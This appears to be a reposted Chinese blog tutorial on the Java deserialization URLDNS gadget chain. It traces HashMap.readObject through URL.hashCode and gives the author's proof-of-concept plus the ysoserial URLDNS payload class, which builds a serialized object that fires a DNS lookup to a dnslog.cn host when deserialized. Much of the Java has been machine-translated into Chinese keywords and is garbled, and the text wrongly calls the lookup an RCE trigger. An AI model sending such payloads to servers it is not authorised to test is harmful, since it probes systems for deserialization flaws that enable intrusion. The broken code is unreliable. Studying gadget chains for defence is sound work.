利用Github 主页上的链分析
Java反序列化学习
在下面写下您的POC 想法
使用HashMap的readObject
私有无效readObject(java.io.ObjectInputStream s)
抛出IOException、ClassNotFoundException {
//读取阈值(忽略)、负载因子和隐藏
s.defaultReadObject();
重新初始化();
if (loadFactor=0 || Float.isNaN(loadFactor))
throw new InvalidObjectException(\’无效的负载因子: \’ +
负载系数);
s.readInt(); //读取并忽略桶的数量。
int Mappings=s.readInt(); //读取映射的数量(大小)。
如果(映射0)
throw new InvalidObjectException(\’无效映射count: \’ +
映射);
else if (mappings 0) { //(如果为0,则使用默认值)
//仅当表在指定的负载系数范围内时才使用指定的负载系数调整表的大小。
//范围为0.25.4.0
浮动lf=Math.min(Math.max(0.25f,loadFactor), 4.0f);
浮点fc=(浮点) 映射/lf + 1.0f;
int 上限=((fc DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc=最大容量)?
最大容量:
tableSizeFor((int)fc));
浮点ft=(浮点)cap * lf;
阈值=((上限MAXIMUM_CAPACITY ft MAXIMUM_CAPACITY) ?
(int)ft : 整数.MAX_VALUE);
//检查Map.Entry[].class。因为这是最接近的公共类型。
//你实际创建的内容。
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({\’rawtypes\’,\’未选中\’})
NodeK,V[] tab=(NodeK,V[])新节点[cap];
表=选项卡;
//读取键和值并将映射放入HashMap
for (int i=0; i 映射; i++) {
@SuppressWarnings(\’未选中\’)
K 键=(K) s.readObject();
@SuppressWarnings(\’未选中\’)
V 值=(V) s.readObject();
putVal(哈希(键),键,值,假,假);
}
}
}
查看对应的writeObject。
私有无效writeObject(java.io.ObjectOutputStream s)
抛出IOException {
int桶=容量();
//写出阈值、负载因子和隐藏因子
s.defaultWriteObject();
s.writeInt(桶);
s.writeInt(大小);
内部写入条目;
}
内部写入口功能;
tab.key对应URL
void innerWriteEntries(java.io.ObjectOutputStream s) 抛出IOException {
NodeK、V[] 选项卡;
if (大小0 (选项卡=表) !=null) {
for (int i=0; i tab.length; ++i) {
for (NodeK,V e=tab[i]; e !=null; e=e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
要达到写入URL的目的,需要更改选项卡中的K。我们来看看如何编写选项卡。
使用put 方法
公共V put(K键,V值){
return putVal(hash(key), key, value, false, true);
}
这里注意,put函数内部调用了usage链中的putVal函数,这也会在后面触发DNS请求。有两种方法可以避免将此请求与目标请求混淆。
为URL 变量赋值
URL 的hashCode 函数做出决定,因此将hashCode 设置为-1 以外的值,这样就可以在不截断POC 的情况下触发RCE 触发点。
但不要忘记在反序列化之前将hashCode 设置回-1。
公共同步int hashCode() {
if (哈希码!=-1)
返回哈希码。
hashcode=handler.hashcode(this);
返回哈希码。
}
伊索串行方法
描述URLStreamHandler 的openConnection 和getHostAddress 方法。这里,getHosAddress 是该漏洞利用链的RCE 触发点。
静态类SilentURLStreamHandler 扩展URLStreamHandler {
protected URLConnection openConnection(URL u) 抛出IOException {
返回空值。
}
受保护的同步InetAddress getHostAddress(URL u) {
返回空值。
}
}
最后请介绍一下我写的POC。
包ysoserial.poc;
导入java.io.FileInputStream。
导入java.io.FileOutputStream。
导入java.io.ObjectInputStream。
导入java.io.ObjectOutputStream。
导入java.lang.reflect.Field。
导入java.net.URL。
导入java.util.HashMap。
公共类urldns {
公共静态无效主(字符串[] args)抛出异常{
HashMap HashMap=new HashMap();
URL url=new URL(\’http://ybnlxi.dnslog.cn\’);//url
Field 字段=Class.forName(\’java.net.URL\’).getDeclaredField(\’hashCode\’);
field.setAccessible(true);//hashCode是私有对象
field.set(url,666);//设置url对象的hashCode值为666!=-1
hashmap.put(url, 1);
field.set(url, -1);//反序列化时hashcode值为-1
尝试{
FileOutputStream fileOutputStream=new FileOutputStream(\’./s.ser\’);
ObjectOutputStream objectOutputStream=new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(hashmap);
objectOutputStream.close();
文件输出流.close();
FileInputStream fileInputStream=new FileInputStream(\’./s.ser\’);
ObjectInputStream objectInputStream=new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
文件输入流.close();
objectInputStream.close();
}
捕获(异常e){
e.printStackTrace();
}
}
}
测试
ysoserial 的POC
包ysoserial.payloads;
导入java.io.IOException;
导入java.net.InetAddress;
导入java.net.URLConnection。
导入java.net.URLStreamHandler。
导入java.util.HashMap。
导入java.net.URL。
导入ysoserial.payloads.annotation.Authors。
导入ysoserial.payloads.annotation.Dependency。
导入ysoserial.payloads.annotation.PayloadTest。
导入ysoserial.payloads.util.PayloadRunner。
导入ysoserial.payloads.util.Reflections。
/**
*可在以下URL 找到包含此小工具链详细信息的博客文章:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
*这是受到博客Philippe Arteau @h3xstream 的启发
* 一篇文章解释了我们如何修改Java Commons Collections 小工具。
* 使用ysoserial 打开URL。这是同样的想法,但被省略了。
* 依赖Commons Collections 并执行DNS 查找。
* 标准JDK 类。
*
* Java URL 类具有equals 和有趣的属性。
* 哈希码方法。 URL 类执行DNS 查找作为副作用。
* 比较(等于或hashCode)。
*
* 作为反序列化的一部分,HashMap 在每个键上调用hashCode。
* 要反序列化,使用Java URL 对象作为序列化键:
* 触发DNS 查找。
*
* 小工具链:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ \’rawtypes\’, \’未选中\’ })
@PayloadTest(跳过=\’true\’)
@依赖关系()
@Authors({ Authors.GEBL })
公共类URLDNS 实现ObjectPayloadObject {
public Object getObject(final String url) 抛出异常{
//创建payload时避免DNS解析
//字段codejava.net.URL.handler/code是临时的,不会成为序列化有效负载的一部分。
URLStreamHandler 处理程序=new SilentURLStreamHandler();
HashMap ht=new HashMap(); //包含URL 的HashMap
URL u=new URL(null, url, handler) //用作键的URL
ht.put(u, url); //值可以是任何可序列化的值,URL作为键触发DNS查找。
Reflections.setFieldValue(u, \’hashCode\’, -1); //在上面的put 过程中,计算并缓存了URL 的hashCode,在下次调用hashCode 时触发DNS 查找。
返回ht.
}
公共静态无效主(最终字符串[] args)抛出异常{
PayloadRunner.run(URLDNS.class, args);
}
/**
* URLStreamHandler 的此实例用于在URL 实例创建期间避免DNS 解析。
*DNS解析用于漏洞检测。重要的是不要检查预先指定的URL。
* 使用序列化对象。 /p
*
* b假阴性的可能性:/b
* 如果首先从测试计算机解析pDNS 名称,则目标服务器可能会获得缓存命中。
*第二个决议。 /p
*/
静态类SilentURLStreamHandler 扩展URLStreamHandler {
protected URLConnection openConnection(URL u) 抛出IOException {
返回空值。
}
受保护的同步InetAddress getHostAddress(URL u) {
返回空值。
}
}
}
以上关于#URLDNS使用链相关内容来源网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/91310.html